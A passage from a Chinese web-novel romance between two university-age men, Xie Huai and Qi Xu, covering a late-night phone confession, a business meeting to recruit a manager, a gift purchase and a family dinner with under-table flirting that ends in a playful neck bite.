“徐亦辰没留你吗,怎么这么早……好像也不早,快12点了,你要不要早点睡,睡着了就不想了。”他再次换了个话题,并提供了一个百无一害的解决方法。 谢淮却反驳他:“难道在梦里就不会有你吗?” 戚栩嘟囔:“梦里有我干什么?” 谢淮说:“干你。” 戚栩惊愕住了。 谢淮继续补充:“你该不会觉得我说的喜欢只有心理上喜欢吧,当然我不是说所有的喜欢都产生于性。冲动上,但我只对你一个人有性。冲动。” 戚栩松开了领带,莫名地有些热:“你觉不觉得在我面前谈论这话题有点不合适。” 谢淮丝毫没有遮掩:“没什么不合适的,就想让你知道我对你存在着所有的想法。” 想拥抱,想谈恋爱,想接吻,想上床,想对戚栩为所欲为,在他身上留下自己的痕迹和味道,只有他一个人能欣赏。 少年人的爱意横冲直撞,热情而猛烈,让戚栩防不胜防。 他单手解开衬衫纽扣:“所以呢,你想上我?” 谢淮语气如常地和他讨论:“可以让你在上面,” 戚栩单了28年,虽然未经人事,但也没有说什么都不懂,他知道男和男的体位关系,上位者拥有支配下位者的权利。 可他也只是一知半解,不知道姿势可以发生变化。 在听到谢淮说让他做上面那个的时候,以谢淮的性格能让他甘愿做下位者,戚栩不得不说一句,他好像真的很喜欢我。 不行,不能这么轻易被迷惑,轮到戚栩封心锁爱:“你挺精通的啊,看来这段时间没少看?” 谢淮忽然从沙发上起身,走进自己的卧室:“无师自通。” 戚栩觉得不能这样被蛊惑下去,不然再说下去要干点什么才能睡觉。 毕竟男大精神旺盛,戚栩28岁的心但有18岁的身体,这个身体很容易被撩拨起来。 “我去洗澡了,你早点睡吧。” 就在戚栩刚要说晚安的时候,听到谢淮“嘶”了一声。 戚栩问:“怎么了?” 谢淮手里拿着一个杯子,面无表情地往床上倒水:“不小心把水倒在了床垫上。” “你不是在客厅?”戚栩问。 谢淮睁眼说瞎话:“一直都在房间,拿起床头杯子的时候不小心倒水了。” 戚栩不在意地说:“换个被子就好。” 谢淮说:“床垫也湿了一大片。” 戚栩无语:“你的杯子有多大,家里发大水了是吧。” 谢淮不藏了:“今晚我可以睡你房间吗?” 戚栩拿着一件浴袍进浴室:“你的心思能不能藏起来。” “藏不住。”谢淮如实地说。 戚栩确定今晚的谢淮发生了什么,如果没有猜错的话,应该有关他。 至于什么事,戚栩猜不出来,最近可发生太多事了,无论沈家还是他。 戚栩清楚能够影响谢淮的情绪唯有旁人对他诋毁,又或者说不尊重,他如今不在谢淮身边,无法观察他的表情。 谢淮在戚栩这里也是特殊的,不习惯别人的触碰,但不抗拒谢淮的靠近,甚至默许他的触碰。 比如允许他入住大平层,正式走进他的私生活。 但戚栩从来都没有意识到自己的情感。 戚栩再一次退让:“睡吧。” 谢淮扬起了笑容扔下手里的杯子,看着它在床垫上滚了几圈,满足感油然而起。 他可以再次回答秦缓思的那个问题,戚栩也喜欢男人吗? 不,他喜欢的人是我。 戚栩从来不对谢淮设防,一直在他的面前表现出懒散和松弛,基于的标准是面前的人谢淮。 谢淮比戚栩本人更早的意识到这点,所以他利用了这点趁虚而入。 他们能走到这一步,戚栩的大条神经功不可没。 谢淮转身离开的房间,手放在戚栩房间的门把手上,心颤抖了下,微不可秒。 卧室是戚栩的私人地带,无一充斥着戚栩的味道。 戚栩听到谢淮走动的声音,知道他走进了自己的卧室,心情有点微妙。 他怎么这么轻易的答应了,根本不想他的作风。 “能安心睡觉了吗?”戚栩问。 谢淮刚手放在戚栩的枕头上,门外响起了铃声,他咬牙切齿:“想睡,但有人不让我睡。” 戚栩不明地“啊”了一声。 半夜12点,徐亦辰提着一支酒来找谢淮,没带方倩和蒋子慕。 戚栩洗完澡出来听到徐亦辰还在哭诉着:“方倩和关家那小子聊天不搭理我,啊啊啊,我怎么这么苦啊,呜呜呜,为什么不和我说话。” 真哭出来那种,泪水和鼻涕一起来,谢淮嫌弃地坐远了一些。 戚栩打了哈欠没搭腔,谢淮没搭理徐亦辰,对着手机说:“困了就挂了吧。” 徐亦辰一把抢过谢淮的手机,声嘶力竭:“不可以睡,戚栩,我们奋战到天亮。” 戚栩终于搭腔了:“你又做了什么事让方倩生气。” “我……”徐亦辰这个酒蒙子想了好一会儿才说,“二叔让我接待他朋友的女儿,我就接待人家了,说了几句话而已。” 戚栩知道方倩喜欢徐亦辰,在这个基础上看到喜欢的人和别的女孩有说有笑应该是吃醋了。 徐亦辰说“离开的时候我只不过客套地下次再聚,互相交换了联系方式,没做什么啊,我的心一直只有她一个人。” 说着说着又哭了。 戚栩无以言对,起码谢淮没当着他的面加过别人。 谢淮被打扰了睡觉时间心情就不是很好,冷笑了一声:“你倒是告白啊,在我这里找什么存在感。” 徐亦辰被刺激到忽然发狂:“告白哪有这么容易,你这个冷血无情的人,你都没喜欢过人,喜欢一个人是兵荒马乱的,害怕失败后无法回到原来的关系。” 谢淮拿过他手上的换手机:“哦,我冷血无情,但我告白了。” 徐亦辰愣了两秒,顿时睁大眼睛:“和谁。” 谢淮说:“戚栩。” 戚栩本人:“……” 两人一手机安静如鸡。 徐亦辰打了一个酒嗝:“呃——” 仰天长啸,以表敬意。【魔蝎小说 mo xie xs .c om】 60-70 第61章 第 61 章 打完酒嗝之后的徐亦辰眼珠子看一下谢淮又扫了一下他手里的手机。 “人机情未了, 我小时候就说你不太正常,如今一语成谶。” 戚栩:“……” “他该不会以为戚栩是部手机吧。” 谢淮看着徐亦辰精神萎靡,眼神涣散的模样:“多半是, 他现在人机不分。” 戚栩躺在床上翻了个身:“都这么晚了你打算怎么处理他?” 谢淮按了按额头颇为无语, 但语气认真:“把他扔进厕所自生自灭。” “别吧,让他睡你房……不对,你房间发大水了,让他睡客厅吧,开足暖气, 以免感冒。”戚栩半睁着眼睛看时间,“不早了,我明天还要见个人。” 谢淮嗯了一声:“不要改航班, 下午三点吧,12点太赶了。” 戚栩笑了笑:“不是说想我了么,这会儿又不想我早点回来, 淮哥,你的想念就持续了这么点时间?” 谢淮深深地说:“如果你想明天打开房门看到我的话, 继续惹我。” 戚栩瞬间不皮了,说:“晚安。” 徐亦辰幽怨地看着一人一机调情,本少爷好苦的人生啊。 谢淮挂了电话后才处理这个多年好友:“两个选择, 出去,睡觉。” 徐亦辰吸了吸鼻子:“我想和你睡。” 谢淮赏了他一个字:“滚。” 徐亦辰为了不流浪街头, 乖乖到沙发整理床铺, 洗完澡出来先是偷摸看了一眼谢淮的房间, 发现里面一个人都没有。 该不会真飞去找戚栩了吧。 然后他就在戚栩的房间听到了动静, 刚转身就看到谢淮从戚栩房间出来。 徐亦辰见状龇牙咧嘴的:“靠,你该不会趁戚栩不在睡他房间吧, 没想到你这么变态。” 徐亦辰的酒量很好,刚刚只不过借机发酒疯宣泄,不然也不会听到这么劲爆的消息。 谢淮没搭理他,到自己房间拿了笔记本重返戚栩的房间。 “多年兄弟,你竟然背着我和戚栩搞在了一起,我就说你们谋财害命,你们谋了我多少钱,我的老婆本进你们小情侣的口袋里。” 他又想起自己前段时间对着谢淮和戚栩说的话,暗渡陈仓,幽会,小两口,现在一看,果真有迹可循。 谢淮倚在门框上回:“从你手上赢回来的老婆本变成我的老婆本,没有发生任何变化,一样实现了它的价值。” “厚颜无耻之人。”说着徐亦辰叹了口气,有些羡慕谢淮的勇气:“你怎么敢开口的,要是戚栩不喜欢你怎么办,你就不怕老死不相往来。” 谢淮告知他一个事实:“我开口了,现在我入住到他的房子,睡在他的床上,你没开口,为了一件小事借酒消愁,无家可归睡在我的客厅。” 徐亦辰:“……” 他苦笑着说:“对比很明显,也很扎心,我应该向你学习,不该优柔寡断。” “不是向我学习。”谢淮说,“是遵循自己内心的想法,我的那套不一定适用于你。” 徐亦辰没想到有朝一日会被谢淮开导感情,说出去谁信啊。 他一直都很担心感情淡薄的谢淮孤独终老,现在他该担心一下自己了。 徐亦辰虚心地问:“你的那套是哪套?” 谢淮一步踏进了戚栩的房间,歪头扬眉。 徐亦辰了然:“确实,不够你变态。” 变态的谢淮关门谢客,孤独的徐亦辰抱着还有点微湿的被子睡在沙发,兄弟幸福了,他就幸福……个屁。 他咬牙,好羡慕嫉妒。 在睡梦中流下了羡慕的泪水。 戚栩不知道他挂了电话之后谢淮和徐亦辰交流了什么,他没改航班,还是下午三点的飞机,他约了人十点在茶室见面。 烂醉的李恺兴一起床就给自己灌了一杯黑咖啡,黑咖啡的苦不如生活的苦。 戚栩坐在他对面看着他眼下的黑眼圈,问:“我记得你昨晚沾床就睡,怎么感觉没睡好。” 李恺兴喝着米粥:“戚少,昨晚你离开前把温度调到了27°,11月的S市还穿短袖,你还帮我盖着厚被子,那叫一个辗转反侧铁板烧。” 戚栩说了一声抱歉:“在北方呆惯了,来到南方没适应顺手调了一下。” 李恺兴问:“你昨晚也调了27°?” 戚栩点头:“嗯,我觉得还好。” 李恺兴说上手想碰一下戚栩的手,但被对方躲开并塞个豆沙包。 李恺兴咬了一口豆沙包:“我就想摸摸你的血是不是冷的,这个天气怎么开27°。” 戚栩认真想了想,他确实怕冷不怕热,可能是体虚的原因。 “热的,凉了人就硬了。” 李恺兴笑了两声:“哈,这个笑话可真冷。” 随后他想到等会的任务,一副纠结的模样:“咱们真的要去挖新极光的总经理?我可没当过猎头,当然,有你在我不会露怯,那可是极光,人家能离开大公司来咱们这里吗?” “不用你当猎头,我来和他谈,如果他没有离开的意向就不会答应和我们见面。”戚栩喝了一口橙汁。 “极光传出被收购的消息,现在极光上下除了进行中项目,其他项目都停止了,等收购之后管理层应该会大换血,更别说他只是一个部长,我们这个时候递上橄榄枝也算是及时雨。” 在李恺兴提到S市的时候,戚栩在网上查找了新闻,他依稀记得上辈子这个时候S市因为外资的融入,有好些老牌网络公司被收购。 按道理说上辈子这个时候他还没有接触这个行业,为什么会知道以及关注。 其实因为沈枫凯,这人在他面前从来不避讳谈论公事,不知是不屑还是觉得他听不懂。 那个时候是去老宅的路上,他和沈枫凯一辆车,对方在打电话侃侃而谈。 他听进去了一点,甚至在动荡时期初次体验股票,让他赚到了理财的第一桶金。 从此他就用生活费和兼职的钱做理财,大学毕业他的个人账户已经有七位数。 李恺兴已经大学毕业,这会儿和刚上大一的戚栩坐在一起,莫名地觉得对方比他还成熟,特别在昨晚的饭局上,他这几个月已经锻炼出来应酬能力,但在戚栩面前甘拜下风。 见人说人话见鬼说鬼话的能力超强,也不知道他怎么和四五十岁爹味十足的对方负责人聊得有来有回,惹得对方频频夸赞年轻有为。 就在他想着戚栩怎么这么成熟的时候,就见他把平板递过来:“帮我做一下作业,我修改一下合同。” 李恺兴:“……” 也不是这么成熟。 没想到毕业了还要代写,谁让老板是大学生,为了老板的绩点而奋斗。 两人在餐厅坐了一个小时,各自完成任务后出发茶室。 抵达茶室时,苏珂浩已经在里面,他见到服务员身后的两位年轻人惊讶不已,他没想到云瑞的两位负责人这么年轻。 戚栩向苏珂浩伸出手:“你好苏先生,戚栩,之前电话联系你的负责人,这位是云瑞的总监。” 李恺兴在外面一秒变成熟,丝毫不拖后腿,人模人样地握上苏珂浩的手:“你好,李恺兴。” 苏珂浩打量着两人,笑道:“没想到两位这么年轻,恕我眼拙,刚刚以为是走错包间的大学生。” 戚栩坐下后向苏珂浩聊家常般说话:“的确是大学生创业,苏先生也应该了解过我们云瑞,虽然是初建,但接手的项目都是和大厂接轨。” 苏珂浩为什么会答应见面,就是因为在互联网大会上见过云瑞这个名字,一家成立不久的公司榜上有名,可见发展势头迅猛。 极光被收购,他这个部长之位也算到头,他也在极光干了十年之久,已经耗不下去了。 跳槽一般都是往高处跳,跳一跳薪酬往上升,其实有不少公司的猎头找过他,给出的薪酬很诱人,不过就是职位低,而且往上升需要时间。 如果在小公司里当管理层,薪水不差的话,他会更倾向这个职位,而且云瑞的资金板块没问题的话,他今天会签意向书。 三人有来有往交谈过后,苏珂浩又问了最近云瑞接手的项目。 李恺兴接过话题,从包里拿出一份文件递给他:“过段时间我们云瑞会参加铧信的推进会,如果苏先生有幸和我成为同僚的话,我们将会一起出席。” 苏珂浩接过对方的文件,大概看了一眼,看来他真的小看了云瑞的规模,竟然能拿到铧信的邀请函。 戚栩观察到苏珂浩的表情,可谓是眼前一亮,今天的合同看来要签上了。 以云瑞目前的规模还收不到邀请,这份邀请函是沈老让钟艾明递交到他手上。 这确实是戚栩想要的,他也接受了沈老爷子的好意,然后用自己攒下来的钱给爷爷买了一饼茶叶,让他也能好好在谢老面前炫耀一番。 最后,苏珂浩在意向书上签上了名字,明天他向极光递交辞职信,带着他自己去首都签入职合同。 走出茶室后,李恺兴都没想到这件事会谈得这么顺利,周末两天出差完成了两件大事,他终于不用再来回往返,飞机都快搭吐了。 戚栩见离登机还有一段时间,先去给谢淮买礼物,委屈谢少独守空房晚上发大水把床给淹了,再不哄一下,怕今晚回家水漫金山。 李恺兴跟着戚栩来到商场,陪着他进了一家奢侈品大牌店,再次回归跟在少爷身后拎包管家。 戚栩低头扫过柜台,越过手表等大货,望向领带夹和袖口的柜台,一眼看中了一款重工风镶嵌圆扣蓝色碧玺的中古领带夹。 在车上戚栩问谢淮,蒋子慕喜欢什么的时候,问了徐亦辰也问了方倩的喜好,唯独没有问谢淮。 戚栩故意的,已知谢淮喜欢机器人,那其他的呢,他看出来的。 28岁的谢淮无论出席什么场合都是正装出席,带着腕表,袖扣,衬衫夹,驳头链,装备齐全,而且风格也很固定,从气质上决定装扮。 谢淮严肃之余也很霸气,那几款小饰品都是重工系列。 18岁的谢淮也很喜欢这些饰品,可能和他经常出席宴会有关。 现在的谢淮还是稚嫩的,戚栩以前看惯了霸气的谢淮,他带着点私心,所以选择了一款带碧玺点缀的,整体看起来更优雅,而不是严肃。 戚栩让柜姐拿出来看一看,李凯兴在一旁问:“买给兄长的礼物?” 戚栩把领带夹放在绒布上:“难道不可以买给我自己?” 李恺兴撑着柜台,饶有兴致地说:“一看就不是你喜欢的风格,看着很成熟,和你的气质不搭。” 戚栩和谢淮的生日也没差几个月,他三月,谢淮一月,谁比谁成熟还一定。 “买给谢淮的。” 李恺兴不意外,虽然戚栩的朋友他就见过谢淮这么一个,但这个风格一看就是适合谢淮这种类型。 “那确实很适合他。” 戚栩对柜姐说:“麻烦帮我包起来,谢谢。” 在戚栩低头签单的时候,听到一把不算陌生的声音。 “戚栩?” 戚栩抬头,秦越带着一位女伴走了过来,他愣了下,直起身子:“秦先生。” 秦越听到这个称呼就心里堵着一股气,怎么还叫秦先生,算了,他也懒得纠正称呼,总归有一天会听到戚栩叫他小舅。 他先是不动声色地扫了眼李恺兴,然后走过去看戚栩买了什么东西。 “和朋友到S市来玩?” 李恺兴和秦越对视了一眼,油然而生的熟悉感,好像在哪里碰过。 哦,想起来了,就是那种捉奸感。 戚栩把票单递给柜姐:“过来办点事。” 秦越说:“又一个来办事的,S市到底有什么事可以办。” 他身边的女人从柜台抬眸,冷笑道:“怨言怎么这么多,叫你来陪我一次还难过登天,你一个卖古董的有什么好忙。” 说着她并不眼熟戚栩,所以问秦越:“你不给我介绍一下?” 秦越想了想如何介绍戚栩的说辞:“戚栩,我咱们大外甥谢淮的好朋友。” 林沫雅若有所思地朝戚栩伸出手:“你好,林沫雅,秦越的表姐。” 戚栩虚握上她的手:“你好。” 戚栩当然知道林沫雅的名号,林家幺女,十年之后是林家当家人。 秦越看向李恺兴,笑着问:“这位是。” 李恺兴看出了点笑里藏刀的意思,紧张地咽下口水:“戚总的员工,李恺兴。” “哦?戚总。”秦越像是发现了什么有趣的事,“一个两个都这么喜欢当总啊,怪不得你和谢淮会在一起……成为好朋友。” 戚栩没和秦越多聊,因为他要赶飞机了。 秦越和他告别:“回首都再约。” 戚栩带着李恺兴离开。 林沫雅在店里随便逛了一下,也看上了一对袖口:“谢淮的朋友?他的朋友不是只有那几个,这位我怎么没见过。” 秦越低头和谢淮发消息,扔出一个重要信息:“谢淮把他带过回芳华园。” 林沫雅眼里闪过怔愣,秦越见她不说话,笑了笑:“要不要这么夸张。” “谢淮把人带到了秦家的地盘,这么多年连徐家那位小子都没有这个待遇吧。”林沫雅说,“如果我没记错,戚栩应该是沈家的孩子,就算很要好,他们才认识了多久,难道你不惊讶吗?” 他们这些长辈非常了解谢淮,知道他把秦家和谢家分得很清,因为秦家背景的原因,谢淮从来不把朋友带回秦家,而是待会谢家。 准确来说,芳华园算是秦家小辈的乌托邦,每一位小孩都是在那玩着长大。 谢淮把人带回去的意思是已经把人当成了一家人? 还没说出口这个想法就把林沫雅吓了一跳,然后自我否定。 秦越深知林沫雅的想法,他这个做舅舅没有帮外甥出柜的责任,所以帮着遮掩了下,避免传到秦家两老的耳朵里惹出什么麻烦。 “想这么多干什么,你又不是不知道他的性格,能带回去就证明这个人没问题,难得有个人和你外甥这么同频。” 林沫雅接过柜姐包装好的礼袋,细想了一下觉得自己大惊小怪,也就没有深思。 戚栩离开商场后,回到酒店接上李恺兴的助理一同前往机场。 落地首都已经傍晚六点半,戚栩感受到温度的变化,第一时间从行李里拿出外套穿上,然后和李恺兴在机场分别,上了陈威的车。 等到车辆驶出停车场,陈威说:“小少爷,老爷子让你回老宅。” 戚栩问:“现在?” 他看着时间好像有点赶,给谢淮发了条信息说不回家了,晚上直接回宿舍。 对方不知道在忙些什么,没有回复他的信息。 戚栩没得到回复觉得心惊,真的有点怕谢淮把家给淹了,应该不至于吧。 他的家还在吗? 戚栩带着忐忑的心情回到老宅,看到门口一排车的时候慢下了脚步,其中发现了一辆眼熟的车牌号——沈枫凯的车。 不过倒没有看到其他人的车。 李叔早早地在门口候着,看到戚栩回来迎了上去:“小少爷,大家都在里厅里。” 戚栩不知道今晚聚会见面的意思,问李叔:“批斗大会,还是什么?老爷子应该不会再装晕吧。” “你给老爷子买了那么一块茶饼,哪舍得批斗你。”李叔想了想今晚来的人,“炫耀大会才是。” 炫耀大会?怎么炫耀法。 戚栩走进去看到里面的人员后知后觉,果然是很值得炫耀。 谢老,谢家夫妇,沈家大伯一家和沈枫凯。 戚栩看到这一幕心里微妙得很,没有回复信息的人正在坐在长辈堆里接受嘘寒问暖,一旁的桌上放着各种礼品,快把桌子给埋了。 乍一看怎么有点像上门提亲的意思。 第62章 第 62 章 戚栩手里还拿着在S市给谢淮买的礼物, 下了飞机一直拿在手上,打算一回家给谢淮,并看看发大水的床垫如何。 这个场合不适宜将礼物送出去, 他转身把手上的东西交给李叔, 让他收起来。 谢淮像是看出了点什么,侧头看了一眼那个礼品袋。 戚栩见状侧身挡住了谢淮的视线,看什么看说了要给你了么。 结果谢淮也没多看礼品袋,而是抬眸看着两天未见心心念念的人,毫无顾忌。 戚栩感受到目光的直白, 眼神一寸一寸的他身上流连,从眉毛,眼睛, 鼻子,嘴巴,一路往下, 停在了他的腰腹,戚栩隔着大衣都感受到那束炽热。 戚栩觉得自己说错了, 他好像也怕热。 几秒后,谢淮的眼神又重新回到戚栩的脸上,这一眼格外的纯粹, 向他扬了扬一个微笑。 戚栩知道,是装的。 秦缓思注意到她儿子的眼神, 那孩子都被看得不自在了, 轻咳了一声提醒他注意一下。 好在旁人没有注意到两人眼神中暗流涌动, 沈老爷子招手让戚栩过来:“小栩, 你还没见过你大伯吧。” 戚栩当然见过,上辈子戚栩负责沈氏的海外项目, 都是和大伯沈卓宏交接。 而且他能拿到海外部分的权利还是由沈卓宏助力,他并非有意掺入侄子的争权,只是受到老爷子临终之前托付,希望帮一手戚栩,如果以后国内要是容不下戚栩,让他在国外也有保障。 沈卓宏大学在外读书,并没有回国继承沈老爷子的事业,而是选择和妻子创业,然而他读建筑行业,也不懂经营生意,不是吃这一行饭的人,前半生经历了创业失败和离婚。 近几年沈卓宏才接手沈氏的海外项目,国内由他弟弟沈卓海负责。 一开始沈卓海还担心他大哥会回国,然而沈卓宏一直在国外待着,以至于兄弟俩的关系表面上相处和谐。 现在沈卓宏被沈老爷子叫了回来,今晚不见沈卓海和他小姑,前者应该不想来,后者还是因为受到老爷子的警告,暂时不敢来。 戚栩对沈卓宏这位大伯合作之情多于亲情,对方不是没有试过和他促进关系,但都被他的冷漠给劝退。 沈老爷子去世后戚栩心里亲情这个位置是空的,他也宁愿一直空着。 戚栩笑了笑,站在沈老爷子身边看着很乖巧,也乖乖地叫人:“大伯。” 沈卓宏中年发福,红光满脸一看就是家庭幸福的模样。 他笑着“哎”了一声,从怀里递给戚栩一封红包:“大伯给你的见面礼,也不知道你喜欢什么,自己喜欢很重要,你去买自己喜欢的。” 戚栩欣然双手接过:“谢谢大伯。” 然后沈卓宏向他一一介绍自己的家庭成员,大女儿沈芷薇,妻Sini,小儿子沈梓炀。 沈卓宏再婚的妻子是混血儿,比沈卓宏小15岁,会说一点中文,小儿子才满5岁,佣人带着他到处玩。 和沈卓宏打完招呼后,戚栩继而向谢老一家问好。 “谢爷爷好。” 谢老爷子和他打趣:“不是很好,你爷爷这几天拿着你给他买的茶饼招摇得很,生怕我们这些老头子不知道他有茶饼一样。” 戚栩笑了笑没说话,确实,他爷爷最近可嘚瑟了。 他看向旁边谢家夫妇,礼貌问好:“谢叔叔,秦阿姨。” 秦缓思温柔地看向戚栩,将一份准备已久的礼物递给他:“这是叔叔阿姨给你的见面礼,一直说要见面,今天终于见面了。” 戚栩不清楚秦缓思心里所想,只以为她是看在两家的交情为他准备见面礼。 他接过了,今日真是收礼物的一天。 沈枫凯抱胸等着戚栩一声大哥,然而只见戚栩看了他一眼后自顾自地坐在沈老爷子身边。 “……” 沈卓宏的小儿子手上拿着玩具进来,一看到戚栩大胆得很,自来熟地牵着他的手,中英文杂夹着和戚栩交流,邀请他一起玩。 在芳华园的时候戚栩觉得自己真得很讨小孩喜欢,现在亦是如此。 前世戚栩和这小卷毛见面的时候对方已经十几岁,正值青春叛逆期,穿着一身他看不懂的着装,鼻子还打了个钉,嘴里喊着呦。 小孩还是个位数的时候可爱。 沈卓宏难得见到家里的小霸王对第一次见面的人这么热情:“沈梓炀礼貌一点,叫哥哥。” 沈梓炀奶声奶气地喊:“哥哥。” 戚栩弯腰对他说:“也邀请那边那位哥哥一起玩,好不好。” 沈梓炀似乎很怕谢淮,瞄了他一眼后摇头,蹦出一个字:“怕。” 小孩子喜欢一个人很简单,从外貌,从气场,很明显沈梓炀乐意接近戚栩是因为这位哥哥长得很好看。 但他不敢接近谢淮还是因为对方的气场令人害怕。 谢淮在秦家小辈前获得喜爱无非是因为从小见到大,而谢淮在他们面前也做好一个大哥哥的形象。 今天的谢淮有点不高兴,如果没有这次聚会,他将会和戚栩在家里拥抱,而不是像这样看着摸不着。 他的不高兴被小孩察觉到了,所以一直都没有招惹他。 既然沈梓炀不乐意,戚栩没有勉强,带着小孩到院子里玩。 谢淮幽幽地眼神盯着戚栩牵着小卷毛的手看,这只手此时应该放他的腰上或者其他地方。 再次被秦缓思小声提醒:“收敛一点行不行,人又不会跑。” 她很怕儿子不管不顾地把人拐走,不,是扛走。 李叔已经让人在餐厅布置好晚餐,一行人前往餐厅用餐。 戚栩走在最后,沈枫凯朝他走了过来:“周末两天去哪了?” 戚栩没有这个义务告诉沈枫凯所有事,敷衍着说:“去玩。” 沈枫凯注意到戚栩进来时带着的那一个礼品袋子,是一个大牌奢侈品,不知道谁送给他或者他送给谁,下意识地想到戚栩那位传说中男朋友。 如今家里已经没有人在乎戚栩的性取向问题。 父亲对爷爷降职一事闷闷不乐,连今晚大伯的接风宴也不来参加,母亲带着泽予回了娘家,她依然相信ktv事件与小儿子没关系。 大儿子被老爷子言传身教,而沈泽予是曾云和沈卓海一手教育出来,也许是自欺欺人,亲手养了18年的孩子怎么可能是这个本性。 休学是沈枫凯提出来的,一度遭到全家的反对,沈泽予尤其委屈,对于沈枫凯的不信任宛如天塌了。 沈枫凯不得不在父母面前隐瞒一切,过后和沈泽予说:“宋若明和你有联系,那颗药是他帮你弄来的。” 沈泽予脸色煞白,无言以对。 沈枫凯继续说:“休学是让你好好休息,好好想清楚,什么该做什么不该做,泽予你一向是懂事的,没有下次了。” 最后沈泽予主动和曾云说休学。 沈枫凯如同兄长关心一般:“听说爸爸给你的那套别墅你转卖出去了,买了哪个小区,有什么缺的我给你买。” 戚栩其实很佩服沈枫凯这种把什么事当做没发生的厚脸皮精神,这个时候装兄弟情深,行,那就装一下给老爷子看。 “个人隐私不方便透露。” 至于有什么缺的,什么都不缺,谢淮把家都填满了。 沈枫凯低声:“戚栩,你非要把我当敌人是吧。” 戚栩说:“在老爷子面前我能和装兄友弟恭,说几句话,没必要纠结敌人不敌人,不如问问你自己,你们是人吗?” 沈枫凯沉默好一会儿,过几秒才说:“我知道先前沈家对你所做的一切不公平,但都是为了以后,沈家好你才能好。” 听到这里戚栩反而笑了起来:“抱歉,我的以后没想过你们家,我的未来也没有你们。” 沈枫凯的脸色顿时变了,没想到戚栩这么决绝。 沈老爷子见戚栩和沈枫凯还没有落座,叫道:“你们兄弟两说什么呢,先吃饭吧。” 戚栩没再看沈枫凯,走进了客厅。 沈梓炀这个小孩喜欢黏着戚栩,坐了沈枫凯的位置,后者只能坐在沈卓宏旁边。 戚栩被沈枫凯破坏了心情,落座之后没说什么话,虽然脸上保持着得体的笑容,笑意不达眼底,熟悉他的人都知道他此时的低迷情绪。 沈老爷子在戚栩和沈枫凯之间若有所思,面色不显继续用餐。 戚栩庆幸和沈梓炀这个小孩坐在一起,小孩口味的饭菜都会有意无意地转到这边。 他刚夹起一块荔枝肉,桌下不知道碰到谁的腿,一开始他没在意,只是默默收起自己的腿。 桌上两家人正在回忆往事,在座的每个人都很有兴致,连沈卓宏的妻子Sini都能聊上几句。 只有戚栩和沈梓炀埋头苦吃,沈梓炀这小孩非常有前途,竟然向他分享最后一只咸蛋黄鸡翅。 戚栩决定原谅前世对方见到他后把嘻哈手势怼他面前呦了一声的行为。 他刚咬下一口鸡翅,长桌布下某双大长腿又伸到他这边了,轻碰他的脚踝,非常有目的性的蹭过他的小腿。 戚栩抬眸,看向对面那位以休闲的姿势倚着靠背,礼貌地回应长辈所问的谢淮。 古有知人知面不知心,现有知人知面不知桌底。 脚踝上的那只脚已经退下,有一下没一下地点着他的鞋侧,像是在发什么摩斯密码似的。 忽然桌上的话题转到戚栩和谢淮身上,两位老辈子说着孙子同一个班,秦缓思应和说两人很有缘分。 “两人的生日应该差不多,阿淮是二月份的。” 沈老爷子说:“小栩是三月份。” 秦缓思说:“这么说阿淮还是个当哥哥的。” 说到哥哥这个词,戚栩又被勾了一下,调戏一般。 戚栩反踢了他一脚,丝毫不解风情。 沈卓宏好奇地问国内大学的现况:“你们是住宿舍吗?还是在外面租房子。” 戚栩回:“工作日在宿舍,因为晚上有课,周末一般都在外面。” 谢淮:“一样。” “……” 谢家夫妇不约而同地看向自家儿子,随后心照不宣地对视,不是他们想的那样吧。 在座只有他们两个知情人,其他人都没有察觉出谢淮这句话的其他含义。 沈老爷子和谢老爷子开始说他们以前一起上学的经历,感慨同学情谊,友谊走了一辈子。 言外之意是希望他们的孙子能延续这份情谊。 表面上维持同学朋友关系的两人,谁都不知桌底下交缠在一起双腿,密不可分。 晚餐结束,长辈们在客厅继续叙旧,沈枫凯还想和戚栩谈事,但戚栩不想搭理他,带着沈梓炀到自己小院玩。 沈老见状说道:“还是小孩。” 谢老羡慕地说:“小孩好啊,小孩多惹人喜爱,还能逗你开心,不像……” 话截然而止,谢老发现他家孙子不知道什么时候离席了。 秦缓思帮着解释:“阿淮说也想去玩,我就让他去了。” 免得在这里浑身散发着怨气,熏到她了。 沈梓炀一看到戚栩院子里的运动器材,像是看到了儿童乐园,撒开腿蹦了上去,身后的佣人连忙上去扶着。 戚栩坐在了椅子上百无聊赖地看着小孩玩,前院传来脚步,来人目标明确地走到他面前。 戚栩半仰着头看谢淮:“聊完天了?” “刚开始聊第一句。”谢淮说。 戚栩疑惑“嗯”了一声。 谢淮:“和你。” 戚栩笑了起来,“又学成归来了?发大水先生。” 谢淮刚抬起手揉戚栩的脑袋,被沈梓炀冲过来给打断了,吵着让戚栩陪他玩。 谢淮放在半空中的手握拳,用英语对沈梓炀说我们玩一个游戏吧。 沈梓炀问:“什么游戏。” 谢淮:“捉迷藏,你来找我们。” 听着很有趣的样子,沈梓炀应下了。 躲藏的范围只限于这个院子,沈梓炀被佣人带着墙边蒙眼睛数数。 戚栩进门后发现让李叔放起来的礼物袋摆在客厅的桌上,他瞥了一眼一直跟在他身后谢淮,顺手拿在手里随后上楼。 “自己藏自己的,跟着我干什么?”戚栩明知故问。 谢淮还没有上过戚栩小院的二楼,说道:“没说不可以藏在一起。” 戚栩走慢了些:“真想被小屁孩一窝端?我以前可是捉迷藏能手,你别毁了我的名声。” 谢淮还是跟着戚栩:“会抱住你的。” 戚栩顿了顿脚步:“抱住还是保住?你语文也变差了……” 话音刚落,戚栩刚踏上二楼的地板就被人从后面抱住了,熟悉的感觉俯身欺近,将他笼罩。 戚栩没挣扎,谢淮身后就是楼梯,如果他们有剧烈的动作,很容易滚下楼梯。 又是故意的。 谢淮把头埋进了戚栩的颈后,冰凉的鼻尖蹭着他的皮肤,呼吸喷洒,冷热交替,如同用餐前的安抚。 他是那只被盯着的猎物,谢淮是饿了两天的饿鹰。 戚栩有预感谢淮会咬人,开口制止:“别咬……” 与此同时,刺痛和酥麻顺着后颈精准地刺激到他神经,尖锐锋利的牙齿几乎要穿透那层白嫩的皮肤,大口吮吸着鲜血。 戚栩怀疑自己的脖子被咬破了,反手扯住谢淮的头发,轻喘:“咬上瘾了是吧。” 谢淮叼着戚栩的脖子不放口,含糊道:“那你把我推开。” 戚栩被气笑了:“我推开,你滚下去,只能活一个,死神二选一。” 谢淮有自己的说辞:“你没有推开就是默许了。” “……” 戚栩关心自己的脖子:“流血了吗?” 谢淮却说:“湿了。” “……” 戚栩拽着谢淮的手往前走了一步远离楼梯,下一秒一个侧身把谢淮往右侧的墙上抵去,身后的人闷哼了一声,还是没放手。 